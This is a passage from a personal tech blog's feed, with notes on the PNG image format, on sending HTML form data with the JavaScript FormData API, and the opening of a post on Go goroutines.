      <content>&lt;p&gt;One of the most widely used raster image formats, that supports lossless compression, alpha transparency and is supported by all the webbrowsers. It was developed in 1996 as an improved, non-patented replacement for GIF (&lt;em&gt;&amp;ldquo;PNG&amp;rsquo;s not GIF&amp;rdquo;&lt;/em&gt;). ISO and IETF standard.&lt;/p&gt;
&lt;p&gt;Features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;wide range of pixel format (indexed/palette, grayscale, rgb, gs+alpha, rgb+alpha)&lt;/li&gt;
&lt;li&gt;full scale of alpha transparency (from single pixel to full 16-bit alpha channel)&lt;/li&gt;
&lt;li&gt;2 stage compression: filtering + DEFLATE
&lt;ul&gt;
&lt;li&gt;Filtering: prediction based on previous pixel colors, to improve compression&lt;/li&gt;
&lt;li&gt;DEFLATE: LZ77 + Huffman coding, implementations widely available (&lt;em&gt;zlib&lt;/em&gt; for example)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2 dimensional, 7-pass interlacing (allows to render the image with a lower resolution much earlier during the transfer, but usually reduces the compressibility)&lt;/li&gt;
&lt;li&gt;extendibility - &amp;ldquo;forward compatibility&amp;rdquo;, custom chunks can be implemented and used
&lt;ul&gt;
&lt;li&gt;for example APNG (animated PNG) - which is also supported by all major browser - is an unofficial extension of PNG, even PNG decoders that does not know anything about APNG will display the first frame without any error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;file-structure&#34;&gt;File structure&lt;/h2&gt;
&lt;p&gt;Header + chunks&lt;/p&gt;
&lt;h3 id=&#34;header&#34;&gt;Header&lt;/h3&gt;
&lt;p&gt;8 byte signature:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;89 50 4E 47 0D 0A 1A 0A&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;89&lt;/code&gt;- something above 128 for easy binary content detection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;50 4E 47&lt;/code&gt;- &lt;code&gt;PNG&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0D 0A&lt;/code&gt;- DOS line ending (CRLF, &lt;code&gt;\r\n&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1A&lt;/code&gt;- DOS EOF (Ctrl+Z)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0A&lt;/code&gt;- UNIX line ending (LF, &lt;code&gt;\n&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;chunks&#34;&gt;Chunks&lt;/h3&gt;
&lt;p&gt;After the header comes a series af chunks:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[length 4bytes][type 4bytes][data &amp;lt;length&amp;gt;bytes][crc 4bytes]&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;chunk-type&#34;&gt;Chunk type&lt;/h4&gt;
&lt;p&gt;4 bytes (characters in this case), case sensitive, character cases has special meaning:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;critical (upper) or not (lower) - ancillary chunks can be ignored during decoding&lt;/li&gt;
&lt;li&gt;public (upper) or private (lower) - ensures that public (standardized) and private (custom) chunks never conflict (two private might)&lt;/li&gt;
&lt;li&gt;should be uppercase (reserved for future expansion)&lt;/li&gt;
&lt;li&gt;safe to copy - not safe (upper) / safe (lower) - whether is it safe to copy this chunk if the image is heavily modified&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Some critical chunks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;IHDR&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;image header&amp;rdquo;&lt;/li&gt;
&lt;li&gt;4 byte width&lt;/li&gt;
&lt;li&gt;4 byte height&lt;/li&gt;
&lt;li&gt;bit depth (1 byte, 1/2/4/8/16) - number of bits per sample or per palette index (not per pixel)&lt;/li&gt;
&lt;li&gt;color type (1 byte - bitmask, 0, 2, 3, 4, 6)&lt;/li&gt;
&lt;li&gt;compression method (1 byte, always 0)&lt;/li&gt;
&lt;li&gt;filter method (1 byte, always 0)&lt;/li&gt;
&lt;li&gt;interlace method (1 byte, 0 - no interlace, 1 - Adam7 interlace)&lt;/li&gt;
&lt;li&gt;13 bytes total&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;IEND&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;end of image, last chunk&lt;/li&gt;
&lt;li&gt;empty, 0 byte length&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;PLTE&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;palette, required for indexed images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;IDAT&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the actual image data&lt;/li&gt;
&lt;li&gt;might be split into multiple &lt;code&gt;IDAT&lt;/code&gt; chunks (for streaming i.e.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Some ancillary chunks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bKGD&lt;/code&gt; - default background color (for transparent images)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cHRM&lt;/code&gt; - chromaticity (color primaries and white point) ~ &lt;em&gt;white balance&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dSIG&lt;/code&gt; - digital signature&lt;/p&gt;
&lt;p&gt;&lt;code&gt;eXIf&lt;/code&gt; - exif metadata&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gAMA&lt;/code&gt; - gamma (multiplied by 100000, integer)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;iCCP&lt;/code&gt; - ICC profile&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tEXt&lt;/code&gt; - key / text (basically anything)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pHYs&lt;/code&gt; - physical pixel size&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tIME&lt;/code&gt; - last time the image was changed&lt;/p&gt;
&lt;p&gt;&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;pixel-format&#34;&gt;Pixel format&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;IHDR&lt;/code&gt; bit depth + color type&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bit depth&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Indexed: 1, 2, 4, 8 bit per pixel (2, 4, 16, 256 colors)&lt;/li&gt;
&lt;li&gt;Grayscale: 1, 2, 4, 8, 16 bpp&lt;/li&gt;
&lt;li&gt;Gs+alpha: 16 or 32 bpp&lt;/li&gt;
&lt;li&gt;Truecolor: 24 or 48 bpp&lt;/li&gt;
&lt;li&gt;Truecolor+alpha: 32 or 64 bpp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Color type&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bitmask:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;bit value 1: indexed (palette)&lt;/li&gt;
&lt;li&gt;bit value 2: rgb (or trichromatic), grayscale (relative luminance) otherwise&lt;/li&gt;
&lt;li&gt;bit value 4: alpha channel (per pixel)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Possible values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0: grayscale&lt;/li&gt;
&lt;li&gt;2: rgb/truecolor&lt;/li&gt;
&lt;li&gt;3: indexed (colors in palette can have alpha transparency, individual pixels don&amp;rsquo;t)&lt;/li&gt;
&lt;li&gt;4: grayscale + alpha&lt;/li&gt;
&lt;li&gt;6: rgb+alpha&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;compression&#34;&gt;Compression&lt;/h3&gt;
&lt;p&gt;lossless, 2 stage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;filtering (~prediction)&lt;/li&gt;
&lt;li&gt;DEFLATE - LZ77 + Huffman coding&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;filtering&#34;&gt;Filtering&lt;/h4&gt;
&lt;p&gt;One filter &lt;em&gt;method&lt;/em&gt; for the entire image (well, currently there&amp;rsquo;s only one in the standard, &amp;lsquo;0&amp;rsquo;), and one filter &lt;em&gt;type&lt;/em&gt; per line.&lt;/p&gt;
&lt;p&gt;The filter &lt;em&gt;predicts&lt;/em&gt; the value of each pixel based on previous pixels, and substracts the predicted color from the actual value. In many cases this results in a more compressible line.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Filter types&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(type - name - predicted value)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 - &lt;em&gt;None&lt;/em&gt; - zero (no prediction)&lt;/li&gt;
&lt;li&gt;1 - &lt;em&gt;Sub&lt;/em&gt; - pixel to the left&lt;/li&gt;
&lt;li&gt;2 - &lt;em&gt;Up&lt;/em&gt; - pixel above&lt;/li&gt;
&lt;li&gt;3 - &lt;em&gt;Average&lt;/em&gt; - mean of left + above pixel (rounded down)&lt;/li&gt;
&lt;li&gt;4 - &lt;em&gt;Paeth&lt;/em&gt; - (left), (above), or (left-above), whichever is closest to &lt;em&gt;p = (left) + (above) - (left-above)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;interlacing&#34;&gt;Interlacing&lt;/h3&gt;
&lt;p&gt;Optional, 2 dimensional, 7 pass scheme (Adam7).&lt;/p&gt;
&lt;p&gt;8x8 blocks:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1 6 4 6 2 6 4 6
7 7 7 7 7 7 7 7
5 6 5 6 5 6 5 6
7 7 7 7 7 7 7 7
3 6 4 6 3 6 4 6
7 7 7 7 7 7 7 7
5 6 5 6 5 6 5 6
7 7 7 7 7 7 7 7
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
  &lt;img src=&#34;https://upload.wikimedia.org/wikipedia/commons/2/27/Adam7_passes.gif&#34; alt=&#34;&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Reduces data compressibility - filtering uses neighbour pixels for prediction, with interlacing this isn&amp;rsquo;t that much effective.&lt;/p&gt;
&lt;h3 id=&#34;animation&#34;&gt;Animation&lt;/h3&gt;
&lt;p&gt;Many &amp;ldquo;extension&amp;rdquo; that adds animation to PNG, the most widely supported one is &lt;strong&gt;APNG&lt;/strong&gt; (which is not &amp;ldquo;standardised&amp;rdquo; by the PNG Group, but still), all major browsers and operating systems support it.&lt;/p&gt;
&lt;p&gt;Backward compatible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;acTL&lt;/code&gt; chunk for generic animation data (frame number, loop count)&lt;/li&gt;
&lt;li&gt;one &lt;code&gt;IDAT&lt;/code&gt; chunk - &amp;ldquo;normal&amp;rdquo; PNG decoders will display a still image&lt;/li&gt;
&lt;li&gt;multiple &lt;code&gt;fcTL&lt;/code&gt; and &lt;code&gt;fdAT&lt;/code&gt; chunks for further frames (metadata + data)&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Form Data</title>
      <link>https://horak.hu/posts/formdata/</link>
      <pubDate>Thu, 14 Jul 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/formdata/</guid>
      <description>&lt;p&gt;How form data can get from the browser to the backend.&lt;/p&gt;
&lt;h2 id=&#34;without-js&#34;&gt;Without JS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;action&lt;/code&gt;: where to send the data (URL, current URL by default)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;method&lt;/code&gt;: &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt; (and there&amp;rsquo;s &lt;code&gt;dialog&lt;/code&gt; too&amp;hellip;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;enctype&lt;/code&gt;: only for &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;Content-Type&lt;/code&gt; of the data
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; - default, URL encoded body&lt;/li&gt;
&lt;li&gt;&lt;code&gt;multipart/form-data&lt;/code&gt; - multipart data, required for file uploads&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text/plain&lt;/code&gt; - for debugging, don&amp;rsquo;t use, security issues&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;p&gt;How form data can get from the browser to the backend.&lt;/p&gt;
&lt;h2 id=&#34;without-js&#34;&gt;Without JS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;action&lt;/code&gt;: where to send the data (URL, current URL by default)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;method&lt;/code&gt;: &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt; (and there&amp;rsquo;s &lt;code&gt;dialog&lt;/code&gt; too&amp;hellip;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;enctype&lt;/code&gt;: only for &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;Content-Type&lt;/code&gt; of the data
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; - default, URL encoded body&lt;/li&gt;
&lt;li&gt;&lt;code&gt;multipart/form-data&lt;/code&gt; - multipart data, required for file uploads&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text/plain&lt;/code&gt; - for debugging, don&amp;rsquo;t use, security issues&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Sidenote - MIME
MIME: Multipurpose Internet Mail Extensions
So mime types were basically invented for e-mails.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;with-js&#34;&gt;With JS&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;FormData&lt;/code&gt; API - serializes form data for &lt;code&gt;fetch()&lt;/code&gt; or &lt;code&gt;XMLHttpRequest.send()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;FormData&lt;/span&gt;(document.&lt;span style=&#34;color:#a6e22e&#34;&gt;getElementById&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;myform&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fetch&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/api/posthere&amp;#34;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Type&lt;/code&gt; automatically set to &lt;code&gt;multipart/form-data&lt;/code&gt; (can be overridden, but don&amp;rsquo;t!)&lt;/li&gt;
&lt;li&gt;files are handled automatically&lt;/li&gt;
&lt;li&gt;extra data can be &lt;code&gt;.append()&lt;/code&gt;-ed, or unused &lt;code&gt;.delete()&lt;/code&gt;-ed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To send &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; (which is the default for HTML forms) you can use &lt;code&gt;URLSearchParams&lt;/code&gt; to convert &lt;code&gt;FormData&lt;/code&gt; to URL encoded searchparams format. (Files won&amp;rsquo;t work.)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;formdata&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;FormData&lt;/span&gt;(document.&lt;span style=&#34;color:#a6e22e&#34;&gt;getElementById&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;myform&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;URLSearchParams&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;formdata&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fetch&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/api/posthere&amp;#34;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;FormData&lt;/code&gt; can be easily converted to JSON as well. In this case, &lt;code&gt;Content-Type&lt;/code&gt; header must be explicitly set to &lt;code&gt;application/json&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;formdata&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;FormData&lt;/span&gt;(document.&lt;span style=&#34;color:#a6e22e&#34;&gt;getElementById&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;myform&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;plaindata&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;fromEntries&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;formdata&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;entries&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;JSON&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;stringify&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;plaindata&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fetch&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/api/posthere&amp;#34;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;hearders&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An image (or any other file) is basically binary data. We can embed binary data (almost) freely in a &lt;code&gt;multipart/form-data&lt;/code&gt; message, but if we want to we can encode them somehow to be easily embedded into something that can handle only &amp;ldquo;strings&amp;rdquo; - like JSON. We might invent such an encoding, but fortunatelly there&amp;rsquo;s already one standardized: the &lt;em&gt;data URL scheme&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id=&#34;data-urls&#34;&gt;Data URLs&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;data:[&amp;lt;mediatype&amp;gt;][;base64],&amp;lt;data&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;data:&lt;/code&gt; is the protocol (like &lt;code&gt;http:&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mediatype&lt;/code&gt; is the MIME type with charset and such (like &lt;code&gt;image/png&lt;/code&gt; or &lt;code&gt;text/html;charset=utf-8&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt; means base64 encoding is used, if it&amp;rsquo;s omitted, standard URL encoding should be used (&lt;code&gt;space&lt;/code&gt; is &lt;code&gt;%20&lt;/code&gt; for example)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The result is a URL, that can be used as a standard ASCII string, in a JSON message for example.&lt;/p&gt;
&lt;h3 id=&#34;-adding-anything-to-formdata&#34;&gt;&amp;hellip; adding &lt;em&gt;anything&lt;/em&gt; to FormData&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;formdata&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;append&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;image&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;[, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;filename.ext&amp;#34;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Data can be read from a canvas (&lt;code&gt;canvas.toDataURL()&lt;/code&gt;, &lt;code&gt;canvas.toBlob()&lt;/code&gt;), using the File API, or just by creating &lt;code&gt;Blob&lt;/code&gt;s.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Go(lang) - advanced topics</title>
      <link>https://horak.hu/posts/golang_adv/</link>
      <pubDate>Fri, 24 Jun 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/golang_adv/</guid>
      <description>&lt;h2 id=&#34;concurrency&#34;&gt;Concurrency&lt;/h2&gt;
&lt;h3 id=&#34;goroutines&#34;&gt;Goroutines&lt;/h3&gt;
&lt;p&gt;Goroutine: a &lt;em&gt;lightweight thread&lt;/em&gt; managed by the Go runtime.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s pretty simple to execute a function call as a new goroutine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;param1&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;param2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The program is terminated when the main goroutine finishes.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;concurrency&#34;&gt;Concurrency&lt;/h2&gt;
&lt;h3 id=&#34;goroutines&#34;&gt;Goroutines&lt;/h3&gt;
&lt;p&gt;Goroutine: a &lt;em&gt;lightweight thread&lt;/em&gt; managed by the Go runtime.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s pretty simple to execute a function call as a new goroutine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;f&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;param1&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;param2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The program is terminated when the main goroutine finishes.&lt;/p&gt;
